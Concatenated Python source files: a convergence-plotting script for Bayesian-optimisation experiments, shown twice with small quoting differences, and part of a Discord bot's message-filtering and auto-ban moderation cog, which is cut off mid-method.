default=None,
help="Names for each consecutive subset that is differently styled.",
)
parser.add_argument(
"--plot_style",
type=str,
default="boxplot",
choices=[e.value for e in ConvergencePlotStyles], # ["boxplot", "line"],
help="Type of convergence plot (line, or slightly offset point-plot with error bars).",
)
return parser
def load_seeded_subrun_df(subrun_dir: Path, init_data_filename: str) -> pd.DataFrame: # pragma: no cover
"""Return a DataFrame with the observations from this 'sub-run'. This funciton iterates over the files
in this directory, and assumes they correspond to consecutive batches in a single optimization run in
lexicographic order. Adds a column to the DataFrame to indicate batch number.
"""
init_data_file = subrun_dir / init_data_filename
assert init_data_file.is_file(), f"Initial data file not found at: {init_data_file}"
batch_files: List[Path] = [child for child in subrun_dir.glob("**/*") if child.is_file() and child.suffix == ".csv"]
# Only keep csv files in folder that are not initial data files:
batch_files.remove(init_data_file)
# Sort in lexicographic order
batch_files = sorted(batch_files)
# Load into a DF
batch_dfs = list(map(pd.read_csv, batch_files))
batch_dfs.insert(0, pd.read_csv(init_data_file)) # Prepend initial data at index 0
for i, batch_df in enumerate(batch_dfs):
batch_df[BATCH_COLUMN] = i # type: ignore # auto
if len({len(batch_df) for batch_df in batch_dfs}) != 1: # type: ignore # auto
logging.warning(f"Batches in subrun at {subrun_dir} have unequal sizes.")
return pd.concat(batch_dfs) # type: ignore # auto
def load_experiment_df(experiment_dir: Path, init_data_filename: str) -> pd.DataFrame: # pragma: no cover
"""Return a DataFrame with accumulated observations from each sub-run in this directory. Each sub-directory
in the folder experiment_dir is assumed to correspond to a single optimization run (with possibly
different random seeds). Adds a column to the DataFrame to indicate sub-run ID (the ID is arbitrary).
"""
assert experiment_dir.exists(), f"A directory at {experiment_dir} must exist."
assert experiment_dir.is_dir(), f"A directory at {experiment_dir} must exist, but is not a directory."
# Get all subdirectories (ASSUME they correspond to seeded runs)
subrun_dirs_in_folder = [child for child in experiment_dir.glob("**/*") if child.is_dir()]
experiment_dfs = []
for subrun_id, subrun_dir in enumerate(subrun_dirs_in_folder):
subrun_df = load_seeded_subrun_df(subrun_dir, init_data_filename)
subrun_df[SEED_COLUMN] = subrun_id
experiment_dfs.append(subrun_df)
if len({len(one_seed_subrun_df) for one_seed_subrun_df in experiment_dfs}) != 1:
logging.warning(f"Not all subruns in {experiment_dir} have the same length.")
return pd.concat(experiment_dfs)
def load_combined_df(
experiment_dirs: List[Path], experiment_labels: List[str], init_data_filename: str
) -> pd.DataFrame: # pragma: no cover
"""Return a DataFrame with observations from each run specified in run_dirs. The returned DataFrame
will have additional columns for: run name, sub-run id and batch number. Here, a sub-run is a single optimization
run/experiment where multiple batches are collected. A run is a collection of those sub-runs (with different
rando initialisations) that share the same model/optimization configuration.
"""
dfs = []
for run_name, run_dir in zip(experiment_labels, experiment_dirs):
run_df = load_experiment_df(run_dir, init_data_filename)
run_df[RUN_NAME_COLUMN] = run_name
dfs.append(run_df)
return pd.concat(dfs)
def get_experiment_labels(args) -> List[str]: # pragma: no cover
"""Returns experiment labels, inferring them from `args.experiment_dirs`, if `args.experiment_labels` not
explicitly provided.
Raises:
ValueError, if the labels don't match the experiment directories
"""
experiment_labels: List[str]
# If experiment_labels specified, assert the length matches the number of directories given
if args.experiment_labels:
if len(args.experiment_dirs) != len(args.experiment_labels):
raise ValueError(
f"Number of directories ({len(args.experiment_dirs)}) does not match the number of experiment "
f"names ({len(args.experiment_labels)}).\nDirectories: {args.experiment_dirs}\n"
f"Experiment names: {args.experiment_labels}"
)
experiment_labels = args.experiment_labels
else:
# If not specified, use folder names
experiment_labels = list(map(lambda exp_dir: exp_dir.stem, args.experiment_dirs))
# Ensure names unique:
if len(experiment_labels) != len(set(experiment_labels)):
raise ValueError(
f"All experiment names must be unique, but are:\n{experiment_labels}\n"
"Use the `--experiment_labels` flag if experiment directories don't have unique names."
)
return experiment_labels
def main(args): # pragma: no cover
# - Get experiment (run) names
experiment_labels: List[str] = get_experiment_labels(args)
# Load the data
combined_df = load_combined_df(
experiment_dirs=args.experiment_dirs,
experiment_labels=experiment_labels,
init_data_filename=args.init_data_filename,
)
# Assert all entries in objective columns non-zero
assert args.objective_column in combined_df.columns
assert not combined_df[args.objective_column].isnull().any()
# Clip the number of batches if max_batch_num specified
combined_df_clipped = (
combined_df[combined_df[BATCH_COLUMN] <= args.max_batch_number] if args.max_batch_number else combined_df
)
if args.styled_subset:
assert args.experiment_labels, "Experiment names must be given if style subsets specified"
# Assert all the styled subsets cover all of the experiments
assert reduce(lambda a, b: a.union(b), args.styled_subset, set()) == set(args.experiment_labels)
# Assert there is the right number of styled subsets (no duplicates between subsets)
assert sum([len(subset) for subset in args.styled_subset]) == len(args.experiment_labels)
if args.styled_subset_names is None:
# If styled subset names not given, set generic default names
args.styled_subset_names = [f"Category {i}" for i in range(len(args.styled_subset))]
assert len(args.styled_subset) == len(args.styled_subset_names)
# Construct result_subdir_name to style subset name mapping
experiment_to_style_subset = dict()
for styled_subset, subset_name in zip(args.styled_subset, args.styled_subset_names):
for result_subdir_name in styled_subset:
experiment_to_style_subset[result_subdir_name] = subset_name
# If styling a subset, add style column
combined_df_clipped[args.style_category_name] = combined_df_clipped[RUN_NAME_COLUMN].map( # type: ignore # auto
lambda s: experiment_to_style_subset[s]
)
if args.styled_lines and args.styled_subset:
raise ValueError("Both styled_lines and styled_subset can't be specified at the same time.")
if args.styled_lines:
style_cols = [RUN_NAME_COLUMN]
elif args.styled_subset & isinstance(args.style_category_name, str):
assert isinstance(args.style_category_name, str)
style_cols = [args.style_category_name]
else:
style_cols = None
# Determine the output scale for the plot
if args.output_scale is not None:
output_scale = args.output_scale
elif (combined_df_clipped[args.objective_column] > 0).all(): # type: ignore # auto
output_scale = "log"
else:
output_scale = "symlog"
fig, _ = plot_multirun_convergence(
combined_df_clipped, # type: ignore # auto
objective_col=args.objective_column,
batch_num_col=BATCH_COLUMN,
run_col=RUN_NAME_COLUMN,
seed_col=SEED_COLUMN,
add_boxplot=not args.no_boxplot,
add_scatter=not args.no_scatter,
style_cols=style_cols,
plot_style=args.plot_style,
yscale=output_scale,
)
assert fig is not None
# Possibly add title
if args.title:
fig.suptitle(args.title)
# Get output_path:
if args.output_path:
output_path = args.output_path
else:
filename = f"multirun_convergence_plot_{"__".join(experiment_labels)}.png"
output_path = args.results_dir / filename
fig.savefig(output_path, bbox_inches="tight")
plt.close(fig)
if args.make_per_sample_plot:
fig_per_sample, _ = plot_multirun_convergence_per_sample(
combined_df,
objective_col=args.objective_column,
batch_num_col=BATCH_COLUMN,
run_col=RUN_NAME_COLUMN,
seed_col=SEED_COLUMN,
)
assert fig_per_sample is not None
# Possibly add title
if args.title:
fig_per_sample.suptitle(args.title)
filename = f"multirun_convergence_per_sample_plot_{"__".join(experiment_labels)}.png"
output_path = args.results_dir / filename
fig_per_sample.savefig(output_path, bbox_inches="tight")
plt.close(fig_per_sample)
if __name__ == "__main__": # pragma: no cover
args = create_parser().parse_args()
main(args)
| # -------------------------------------------------------------------------------------------
# Copyright (c) Microsoft Corporation. All rights reserved.
# Licensed under the MIT License (MIT). See LICENSE in the repo root for license information.
# -------------------------------------------------------------------------------------------
"""
Convergence plotting script for comparing multiple experiments that allows for aggregating over multiple randomised
sub-runs (runs with same configurations, but a different random seed). The randomly seeded sub-runs are expected
as sub-directories of the experiment directories.
Example command:
python plot_convergence_multiple_runs.py --experiment_dirs /path/to/experiment/one /path/to/experiment/two
--experiment_labels "Experiment 1" "Experiment 2" --objective_column "Output"
--init_data_filename "initial_batch.csv"
"""
import argparse
import logging
from functools import reduce
from pathlib import Path
from typing import List
import matplotlib.pyplot as plt
import pandas as pd
from abex.plotting.convergence_plotting import (
ConvergencePlotStyles,
plot_multirun_convergence,
plot_multirun_convergence_per_sample,
)
BATCH_COLUMN = "Batch Number"
RUN_NAME_COLUMN = "Experiment Name"
SEED_COLUMN = "Sub-run Number"
def create_parser() -> argparse.ArgumentParser:
parser = argparse.ArgumentParser(
description="Plot convergence over several iterations of Bayesian Optimization, for possibly multiple runs."
"Assumes one file corresponds to one batch collected."
)
parser.add_argument(
"--experiment_dirs",
type=Path,
nargs="+",
required=True,
help="A sequence of directories corresponding to different configurations for an experiment "
"(different runs). Each directory should contain multiple sub-directories with multiple sub-runs"
"corresponding to different random seeds.",
)
parser.add_argument(
"--experiment_labels",
type=str,
nargs="+",
help="A sequence of names to give to each experiment (collection of sub-runs). These will be used to "
"label the experiments on resulting plots. These should appear in the"
"same order as --experiment_dirs. If not specified, folder names will be used as experiment labels.",
)
parser.add_argument(
"--objective_column",
type=str,
default="Crosstalk Ratio",
help="The name of the objective column in data files.",
)
parser.add_argument(
"--init_data_filename",
type=Path,
required=True,
help="The filename for the initial data file (the other files in each seed-run subdirectory "
"will be treated as batches).",
)
parser.add_argument(
"--results_dir", type=Path, default=Path("Results"), help="The directory in which to save the resulting plot."
)
parser.add_argument(
"--output_path",
type=Path,
default=None,
help="If specified, the resulting plot will be saved at this location "
"(otherwise a plot name will be generated).",
)
parser.add_argument("--title", type=str, default=None, help="The title for the plot.")
parser.add_argument(
"--no_boxplot",
action="store_true",
help="Whether to remove the boxplot for the final plot (useful if the plot gets too cluttered).",
)
parser.add_argument(
"--no_scatter",
action="store_true",
help="Whether to remove the scatter points for the final plot (useful if the plot gets too cluttered).",
)
parser.add_argument(
"--max_batch_number",
type=int,
default=None,
help="Whether to clip the x-axis to a given number of batches.",
)
parser.add_argument(
"--make_per_sample_plot",
action="store_true",
help="Whether to make a per-sample plot as well in which x-axis is 'num. samples collected' rather than "
"'num. batches collected'.",
)
parser.add_argument(
"--output_scale",
type=str,
default=None,
choices=["symlog", "log", "linear"],
help="What scale to use for the objective on the plot. Default to log if all objective values are positive, "
"symlog otherwise.",
)
parser.add_argument(
"--styled_lines",
action="store_true",
help="Whether to give each line a different style (dashed, solid, double-dashed, ...) in addition to it "
"being a different colour.",
)
parser.add_argument(
"--styled_subset",
type=str,
action="append",
nargs="+",
help="Style a subset (specified by run name) of the plotted traces to distinguish them from other traces.",
)
parser.add_argument(
"--style_category_name",
type=str,
default="Category",
help="Name to use on the legend for the style categories.",
)
parser.add_argument(
"--styled_subset_names",
type=str,
nargs="+",
default=None,
help="Names for each consecutive subset that is differently styled.",
)
parser.add_argument(
"--plot_style",
type=str,
default="boxplot",
choices=[e.value for e in ConvergencePlotStyles], # ["boxplot", "line"],
help="Type of convergence plot (line, or slightly offset point-plot with error bars).",
)
return parser
def load_seeded_subrun_df(subrun_dir: Path, init_data_filename: str) -> pd.DataFrame: # pragma: no cover
"""Return a DataFrame with the observations from this 'sub-run'. This funciton iterates over the files
in this directory, and assumes they correspond to consecutive batches in a single optimization run in
lexicographic order. Adds a column to the DataFrame to indicate batch number.
"""
init_data_file = subrun_dir / init_data_filename
assert init_data_file.is_file(), f"Initial data file not found at: {init_data_file}"
batch_files: List[Path] = [child for child in subrun_dir.glob("**/*") if child.is_file() and child.suffix == ".csv"]
# Only keep csv files in folder that are not initial data files:
batch_files.remove(init_data_file)
# Sort in lexicographic order
batch_files = sorted(batch_files)
# Load into a DF
batch_dfs = list(map(pd.read_csv, batch_files))
batch_dfs.insert(0, pd.read_csv(init_data_file)) # Prepend initial data at index 0
for i, batch_df in enumerate(batch_dfs):
batch_df[BATCH_COLUMN] = i # type: ignore # auto
if len({len(batch_df) for batch_df in batch_dfs}) != 1: # type: ignore # auto
logging.warning(f"Batches in subrun at {subrun_dir} have unequal sizes.")
return pd.concat(batch_dfs) # type: ignore # auto
def load_experiment_df(experiment_dir: Path, init_data_filename: str) -> pd.DataFrame: # pragma: no cover
"""Return a DataFrame with accumulated observations from each sub-run in this directory. Each sub-directory
in the folder experiment_dir is assumed to correspond to a single optimization run (with possibly
different random seeds). Adds a column to the DataFrame to indicate sub-run ID (the ID is arbitrary).
"""
assert experiment_dir.exists(), f"A directory at {experiment_dir} must exist."
assert experiment_dir.is_dir(), f"A directory at {experiment_dir} must exist, but is not a directory."
# Get all subdirectories (ASSUME they correspond to seeded runs)
subrun_dirs_in_folder = [child for child in experiment_dir.glob("**/*") if child.is_dir()]
experiment_dfs = []
for subrun_id, subrun_dir in enumerate(subrun_dirs_in_folder):
subrun_df = load_seeded_subrun_df(subrun_dir, init_data_filename)
subrun_df[SEED_COLUMN] = subrun_id
experiment_dfs.append(subrun_df)
if len({len(one_seed_subrun_df) for one_seed_subrun_df in experiment_dfs}) != 1:
logging.warning(f"Not all subruns in {experiment_dir} have the same length.")
return pd.concat(experiment_dfs)
def load_combined_df(
experiment_dirs: List[Path], experiment_labels: List[str], init_data_filename: str
) -> pd.DataFrame: # pragma: no cover
"""Return a DataFrame with observations from each run specified in run_dirs. The returned DataFrame
will have additional columns for: run name, sub-run id and batch number. Here, a sub-run is a single optimization
run/experiment where multiple batches are collected. A run is a collection of those sub-runs (with different
rando initialisations) that share the same model/optimization configuration.
"""
dfs = []
for run_name, run_dir in zip(experiment_labels, experiment_dirs):
run_df = load_experiment_df(run_dir, init_data_filename)
run_df[RUN_NAME_COLUMN] = run_name
dfs.append(run_df)
return pd.concat(dfs)
def get_experiment_labels(args) -> List[str]: # pragma: no cover
"""Returns experiment labels, inferring them from `args.experiment_dirs`, if `args.experiment_labels` not
explicitly provided.
Raises:
ValueError, if the labels don't match the experiment directories
"""
experiment_labels: List[str]
# If experiment_labels specified, assert the length matches the number of directories given
if args.experiment_labels:
if len(args.experiment_dirs) != len(args.experiment_labels):
raise ValueError(
f"Number of directories ({len(args.experiment_dirs)}) does not match the number of experiment "
f"names ({len(args.experiment_labels)}).\nDirectories: {args.experiment_dirs}\n"
f"Experiment names: {args.experiment_labels}"
)
experiment_labels = args.experiment_labels
else:
# If not specified, use folder names
experiment_labels = list(map(lambda exp_dir: exp_dir.stem, args.experiment_dirs))
# Ensure names unique:
if len(experiment_labels) != len(set(experiment_labels)):
raise ValueError(
f"All experiment names must be unique, but are:\n{experiment_labels}\n"
"Use the `--experiment_labels` flag if experiment directories don't have unique names."
)
return experiment_labels
def main(args): # pragma: no cover
# - Get experiment (run) names
experiment_labels: List[str] = get_experiment_labels(args)
# Load the data
combined_df = load_combined_df(
experiment_dirs=args.experiment_dirs,
experiment_labels=experiment_labels,
init_data_filename=args.init_data_filename,
)
# Assert all entries in objective columns non-zero
assert args.objective_column in combined_df.columns
assert not combined_df[args.objective_column].isnull().any()
# Clip the number of batches if max_batch_num specified
combined_df_clipped = (
combined_df[combined_df[BATCH_COLUMN] <= args.max_batch_number] if args.max_batch_number else combined_df
)
if args.styled_subset:
assert args.experiment_labels, "Experiment names must be given if style subsets specified"
# Assert all the styled subsets cover all of the experiments
assert reduce(lambda a, b: a.union(b), args.styled_subset, set()) == set(args.experiment_labels)
# Assert there is the right number of styled subsets (no duplicates between subsets)
assert sum([len(subset) for subset in args.styled_subset]) == len(args.experiment_labels)
if args.styled_subset_names is None:
# If styled subset names not given, set generic default names
args.styled_subset_names = [f"Category {i}" for i in range(len(args.styled_subset))]
assert len(args.styled_subset) == len(args.styled_subset_names)
# Construct result_subdir_name to style subset name mapping
experiment_to_style_subset = dict()
for styled_subset, subset_name in zip(args.styled_subset, args.styled_subset_names):
for result_subdir_name in styled_subset:
experiment_to_style_subset[result_subdir_name] = subset_name
# If styling a subset, add style column
combined_df_clipped[args.style_category_name] = combined_df_clipped[RUN_NAME_COLUMN].map( # type: ignore # auto
lambda s: experiment_to_style_subset[s]
)
if args.styled_lines and args.styled_subset:
raise ValueError("Both styled_lines and styled_subset can't be specified at the same time.")
if args.styled_lines:
style_cols = [RUN_NAME_COLUMN]
elif args.styled_subset & isinstance(args.style_category_name, str):
assert isinstance(args.style_category_name, str)
style_cols = [args.style_category_name]
else:
style_cols = None
# Determine the output scale for the plot
if args.output_scale is not None:
output_scale = args.output_scale
elif (combined_df_clipped[args.objective_column] > 0).all(): # type: ignore # auto
output_scale = "log"
else:
output_scale = "symlog"
fig, _ = plot_multirun_convergence(
combined_df_clipped, # type: ignore # auto
objective_col=args.objective_column,
batch_num_col=BATCH_COLUMN,
run_col=RUN_NAME_COLUMN,
seed_col=SEED_COLUMN,
add_boxplot=not args.no_boxplot,
add_scatter=not args.no_scatter,
style_cols=style_cols,
plot_style=args.plot_style,
yscale=output_scale,
)
assert fig is not None
# Possibly add title
if args.title:
fig.suptitle(args.title)
# Get output_path:
if args.output_path:
output_path = args.output_path
else:
filename = f"multirun_convergence_plot_{'__'.join(experiment_labels)}.png"
output_path = args.results_dir / filename
fig.savefig(output_path, bbox_inches="tight")
plt.close(fig)
if args.make_per_sample_plot:
fig_per_sample, _ = plot_multirun_convergence_per_sample(
combined_df,
objective_col=args.objective_column,
batch_num_col=BATCH_COLUMN,
run_col=RUN_NAME_COLUMN,
seed_col=SEED_COLUMN,
)
assert fig_per_sample is not None
# Possibly add title
if args.title:
fig_per_sample.suptitle(args.title)
filename = f"multirun_convergence_per_sample_plot_{'__'.join(experiment_labels)}.png"
output_path = args.results_dir / filename
fig_per_sample.savefig(output_path, bbox_inches="tight")
plt.close(fig_per_sample)
if __name__ == "__main__": # pragma: no cover
args = create_parser().parse_args()
main(args)
|
import asyncio
import re
from datetime import timedelta
from typing import Any, Dict, List, Mapping, NamedTuple, Optional, Tuple, Union
import arrow
import dateutil.parser
import discord.errors
import regex
from async_rediscache import RedisCache
from dateutil.relativedelta import relativedelta
from discord import Colour, HTTPException, Member, Message, NotFound, TextChannel
from discord.ext.commands import Cog
from discord.utils import escape_markdown
from bot.api import ResponseCodeError
from bot.bot import Bot
from bot.constants import Channels, Colours, Filter, Guild, Icons, URLs
from bot.exts.events.code_jams._channels import CATEGORY_NAME as JAM_CATEGORY_NAME
from bot.exts.moderation.modlog import ModLog
from bot.log import get_logger
from bot.utils import scheduling
from bot.utils.messages import format_user
from bot.utils.regex import INVITE_RE
log = get_logger(__name__)
# Regular expressions
CODE_BLOCK_RE = re.compile(
r"(?P<delim>``?)[^`]+?(?P=delim)(?!`+)" # Inline codeblock
r"|```(.+?)```", # Multiline codeblock
re.DOTALL | re.MULTILINE
)
EVERYONE_PING_RE = re.compile(rf"@everyone|<@&{Guild.id}>|@here")
SPOILER_RE = re.compile(r"(\|\|.+?\|\|)", re.DOTALL)
URL_RE = re.compile(r"(https?://[^\s]+)", flags=re.IGNORECASE)
# Exclude variation selectors from zalgo because they're actually invisible.
VARIATION_SELECTORS = r"\uFE00-\uFE0F\U000E0100-\U000E01EF"
INVISIBLE_RE = regex.compile(rf"[{VARIATION_SELECTORS}\p{{UNASSIGNED}}\p{{FORMAT}}\p{{CONTROL}}--\s]", regex.V1)
ZALGO_RE = regex.compile(rf"[\p{{NONSPACING MARK}}\p{{ENCLOSING MARK}}--[{VARIATION_SELECTORS}]]", regex.V1)
# Other constants.
DAYS_BETWEEN_ALERTS = 3
OFFENSIVE_MSG_DELETE_TIME = timedelta(days=Filter.offensive_msg_delete_days)
# Autoban
LINK_PASSWORD = "https://support.discord.com/hc/en-us/articles/218410947-I-forgot-my-Password-Where-can-I-set-a-new-one"
LINK_2FA = "https://support.discord.com/hc/en-us/articles/219576828-Setting-up-Two-Factor-Authentication"
AUTO_BAN_REASON = (
"Your account has been used to send links to a phishing website. You have been automatically banned. "
"If you are not aware of sending them, that means your account has been compromised.\n\n"
f"Here is a guide from Discord on [how to change your password]({LINK_PASSWORD}).\n\n"
f"We also highly recommend that you [enable 2 factor authentication on your account]({LINK_2FA}), "
"for heightened security.\n\n"
"Once you have changed your password, feel free to follow the instructions at the bottom of "
"this message to appeal your ban."
)
AUTO_BAN_DURATION = timedelta(days=4)
FilterMatch = Union[re.Match, dict, bool, List[discord.Embed]]
class Stats(NamedTuple):
"""Additional stats on a triggered filter to append to a mod log."""
message_content: str
additional_embeds: Optional[List[discord.Embed]]
class Filtering(Cog):
"""Filtering out invites, blacklisting domains, and warning us of certain regular expressions."""
# Redis cache mapping a user ID to the last timestamp a bad nickname alert was sent
name_alerts = RedisCache()
def __init__(self, bot: Bot):
self.bot = bot
self.scheduler = scheduling.Scheduler(self.__class__.__name__)
self.name_lock = asyncio.Lock()
staff_mistake_str = "If you believe this was a mistake, please let staff know!"
self.filters = {
"filter_zalgo": {
"enabled": Filter.filter_zalgo,
"function": self._has_zalgo,
"type": "filter",
"content_only": True,
"user_notification": Filter.notify_user_zalgo,
"notification_msg": (
"Your post has been removed for abusing Unicode character rendering (aka Zalgo text). "
f"{staff_mistake_str}"
),
"schedule_deletion": False
},
"filter_invites": {
"enabled": Filter.filter_invites,
"function": self._has_invites,
"type": "filter",
"content_only": True,
"user_notification": Filter.notify_user_invites,
"notification_msg": (
f"Per Rule 6, your invite link has been removed. {staff_mistake_str}\n\n"
r"Our server rules can be found here: <https://pythondiscord.com/pages/rules>"
),
"schedule_deletion": False
},
"filter_domains": {
"enabled": Filter.filter_domains,
"function": self._has_urls,
"type": "filter",
"content_only": True,
"user_notification": Filter.notify_user_domains,
"notification_msg": (
f"Your URL has been removed because it matched a blacklisted domain. {staff_mistake_str}"
),
"schedule_deletion": False
},
"watch_regex": {
"enabled": Filter.watch_regex,
"function": self._has_watch_regex_match,
"type": "watchlist",
"content_only": True,
"schedule_deletion": True
},
"watch_rich_embeds": {
"enabled": Filter.watch_rich_embeds,
"function": self._has_rich_embed,
"type": "watchlist",
"content_only": False,
"schedule_deletion": False
},
"filter_everyone_ping": {
"enabled": Filter.filter_everyone_ping,
"function": self._has_everyone_ping,
"type": "filter",
"content_only": True,
"user_notification": Filter.notify_user_everyone_ping,
"notification_msg": (
"Please don't try to ping `@everyone` or `@here`. "
f"Your message has been removed. {staff_mistake_str}"
),
"schedule_deletion": False,
"ping_everyone": False
},
}
scheduling.create_task(self.reschedule_offensive_msg_deletion(), event_loop=self.bot.loop)
def cog_unload(self) -> None:
"""Cancel scheduled tasks."""
self.scheduler.cancel_all()
def _get_filterlist_items(self, list_type: str, *, allowed: bool) -> list:
"""Fetch items from the filter_list_cache."""
return self.bot.filter_list_cache[f"{list_type.upper()}.{allowed}"].keys()
def _get_filterlist_value(self, list_type: str, value: Any, *, allowed: bool) -> dict:
"""Fetch one specific value from filter_list_cache."""
return self.bot.filter_list_cache[f"{list_type.upper()}.{allowed}"][value]
@staticmethod
def _expand_spoilers(text: str) -> str:
"""Return a string containing all interpretations of a spoilered message."""
split_text = SPOILER_RE.split(text)
return ''.join(
split_text[0::2] + split_text[1::2] + split_text
)
@property
def mod_log(self) -> ModLog:
"""Get currently loaded ModLog cog instance."""
return self.bot.get_cog("ModLog")
@Cog.listener()
async def on_message(self, msg: Message) -> None:
"""Invoke message filter for new messages."""
await self._filter_message(msg)
# Ignore webhook messages.
if msg.webhook_id is None:
await self.check_bad_words_in_name(msg.author)
@Cog.listener()
async def on_message_edit(self, before: Message, after: Message) -> None:
"""
Invoke message filter for message edits.
Also calculates the time delta from the previous edit or when message was sent if there's no prior edits.
"""
# We only care about changes to the message contents/attachments and embed additions, not pin status etc.
if all((
before.content == after.content, # content hasn't changed
before.attachments == after.attachments, # attachments haven't changed
len(before.embeds) >= len(after.embeds) # embeds haven't been added
)):
return
if not before.edited_at:
delta = relativedelta(after.edited_at, before.created_at).microseconds
else:
delta = relativedelta(after.edited_at, before.edited_at).microseconds
await self._filter_message(after, delta)
def get_name_matches(self, name: str) -> List[re.Match]:
"""Check bad words from passed string (name). Return list of matches."""
name = self.clean_input(name)
matches = []
watchlist_patterns = self._get_filterlist_items('filter_token', allowed=False)
for pattern in watchlist_patterns:
if match := re.search(pattern, name, flags=re.IGNORECASE):
matches.append(match)
return matches
async def check_send_alert(self, member: Member) -> bool:
"""When there is less than 3 days after last alert, return `False`, otherwise `True`."""
if last_alert := await self.name_alerts.get(member.id):
last_alert = arrow.get(last_alert)
if arrow.utcnow() - timedelta(days=DAYS_BETWEEN_ALERTS) < last_alert:
log.trace(f"Last alert was too recent for {member}'s nickname.")
return False
return True
async def check_bad_words_in_name(self, member: Member) -> None:
"""Send a mod alert every 3 days if a username still matches a watchlist pattern."""
# Use lock to avoid race conditions
async with self.name_lock:
# Check whether the users display name contains any words in our blacklist
matches = self.get_name_matches(member.display_name)
if not matches or not await self.check_send_alert(member):
return
log.info(f"Sending bad nickname alert for '{member.display_name}' ({member.id}).")
log_string = (
f"**User:** {format_user(member)}\n"
f"**Display Name:** {escape_markdown(member.display_name)}\n"
f"**Bad Matches:** {", ".join(match.group() for match in matches)}"
)
await self.mod_log.send_log_message(
icon_url=Icons.token_removed,
colour=Colours.soft_red,
title="Username filtering alert",
text=log_string,
channel_id=Channels.mod_alerts,
thumbnail=member.display_avatar.url
)
# Update time when alert sent
await self.name_alerts.set(member.id, arrow.utcnow().timestamp())
async def filter_eval(self, result: str, msg: Message) -> bool:
"""
Filter the result of an !eval to see if it violates any of our rules, and then respond accordingly.
Also requires the original message, to check whether to filter and for mod logs.
Returns whether a filter was triggered or not.
"""
filter_triggered = False
# Should we filter this message?
if self._check_filter(msg):
for filter_name, _filter in self.filters.items():
# Is this specific filter enabled in the config?
# We also do not need to worry about filters that take the full message,
# since all we have is an arbitrary string.
if _filter["enabled"] and _filter["content_only"]:
filter_result = await _filter["function"](result)
reason = None
if isinstance(filter_result, tuple):
match, reason = filter_result
else:
match = filter_result
if match:
# If this is a filter (not a watchlist), we set the variable so we know
# that it has been triggered
if _filter["type"] == "filter":
filter_triggered = True
stats = self._add_stats(filter_name, match, result)
await self._send_log(filter_name, _filter, msg, stats, reason, is_eval=True)
break # We don't want multiple filters to trigger
return filter_triggered
async def _filter_message(self, msg: Message, delta: Optional[int] = None) -> None:
"""Filter the input message to see if it violates any of our rules, and then respond accordingly."""
# Should we filter this message?
if self._check_filter(msg):
for filter_name, _filter in self.filters.items():
# Is this specific filter enabled in the config?
if _filter["enabled"]:
# Double trigger check for the embeds filter
if filter_name == "watch_rich_embeds":
# If the edit delta is less than 0.001 seconds, then we're probably dealing
# with a double filter trigger.
if delta is not None and delta < 100:
continue
if filter_name in ("filter_invites", "filter_everyone_ping"):
# Disable invites filter in codejam team channels
category = getattr(msg.channel, "category", None)
if category and category.name == JAM_CATEGORY_NAME:
continue
# Does the filter only need the message content or the full message?
if _filter["content_only"]:
payload = msg.content
else:
payload = msg
result = await _filter["function"](payload)
reason = None
if isinstance(result, tuple):
match, reason = result
else:
match = result
if match:
is_private = msg.channel.type is discord.ChannelType.private
# If this is a filter (not a watchlist) and not in a DM, delete the message.
if _filter["type"] == "filter" and not is_private:
try:
# Embeds (can?) trigger both the `on_message` and `on_message_edit`
# event handlers, triggering filtering twice for the same message.
#
# If `on_message`-triggered filtering already deleted the message
# then `on_message_edit`-triggered filtering will raise exception
# since the message no longer exists.
#
# In addition, to avoid sending two notifications to the user, the
# logs, and mod_alert, we return if the message no longer exists.
await msg.delete()
except discord.errors.NotFound:
return
# Notify the user if the filter specifies
if _filter["user_notification"]:
await self.notify_member(msg.author, _filter["notification_msg"], msg.channel)
# If the message is classed as offensive, we store it in the site db and
# it will be deleted after one week.
if _filter["schedule_deletion"] and not is_private:
delete_date = (msg.created_at + OFFENSIVE_MSG_DELETE_TIME).isoformat()
data = {
'id': msg.id,
'channel_id': msg.channel.id,
'delete_date': delete_date
}
try:
await self.bot.api_client.post('bot/offensive-messages', json=data)
except ResponseCodeError as e:
if e.status == 400 and "already exists" in e.response_json.get("id", [""])[0]:
log.debug(f"Offensive message {msg.id} already exists.")
else:
log.error(f"Offensive message {msg.id} failed to post: {e}")
else:
self.schedule_msg_delete(data)
log.trace(f"Offensive message {msg.id} will be deleted on {delete_date}")
stats = self._add_stats(filter_name, match, msg.content)
await self._send_log(filter_name, _filter, msg, stats, reason)
# If the filter reason contains `[autoban]`, we want to auto-ban the user
if reason and "[autoban]" in reason.lower():
# Create a new context, with the author as is the bot, and the channel as #mod-alerts.
# This sends the ban confirmation directly under watchlist trigger embed, to inform
# mods that the user was auto-banned for the message.
context = await self.bot.get_context(msg)
context.guild = self.bot.get_guild(Guild.id)
context.author = context.guild.get_member(self.bot.user.id)
context.channel = self.bot.get_channel(Channels.mod_alerts)
context.command = self.bot.get_command("tempban")
await context.invoke(
context.command,
msg.author,
arrow.utcnow() + AUTO_BAN_DURATION,
reason=AUTO_BAN_REASON
)
break # We don't want multiple filters to trigger
async def _send_log(
self,
filter_name: str,
_filter: Dict[str, Any],
msg: discord.Message,
stats: Stats,
reason: Optional[str] = None,
*,
is_eval: bool = False,
) -> None:
"""Send a mod log for a triggered filter."""
if msg.channel.type is discord.ChannelType.private:
channel_str = "via DM"
ping_everyone = False
else:
channel_str = f"in {msg.channel.mention}"
# Allow specific filters to override ping_everyone
ping_everyone = Filter.ping_everyone and _filter.get("ping_everyone", True)
# If we are going to autoban, we don't want to ping
if reason and "[autoban]" in reason:
ping_everyone = False
eval_msg = "using !eval " if is_eval else ""
footer = f"Reason: {reason}" if reason else None
message = (
f"The {filter_name} {_filter["type"]} was triggered by {format_user(msg.author)} "
f"{channel_str} {eval_msg}with [the following message]({msg.jump_url}):\n\n"
f"{stats.message_content}"
)
log.debug(message)
# Send pretty mod log embed to mod-alerts
await self.mod_log.send_log_message(
icon_url=Icons.filtering,
colour=Colour(Colours.soft_red),
title=f"{_filter["type"].title()} triggered!",
text=message,
thumbnail=msg.author.display_avatar.url,
channel_id=Channels.mod_alerts,
ping_everyone=ping_everyone,
additional_embeds=stats.additional_embeds,
footer=footer,
)
def _add_stats(self, name: str, match: FilterMatch, content: str) -> Stats:
"""Adds relevant statistical information to the relevant filter and increments the bot's stats."""
# Word and match stats for watch_regex
if name == "watch_regex":
surroundings = match.string[max(match.start() - 10, 0): match.end() + 10]
message_content = (
f"**Match:** '{match[0]}'\n"
f"**Location:** '...{escape_markdown(surroundings)}...'\n"
f"\n**Original Message:**\n{escape_markdown(content)}"
)
else: # Use original content
message_content = content
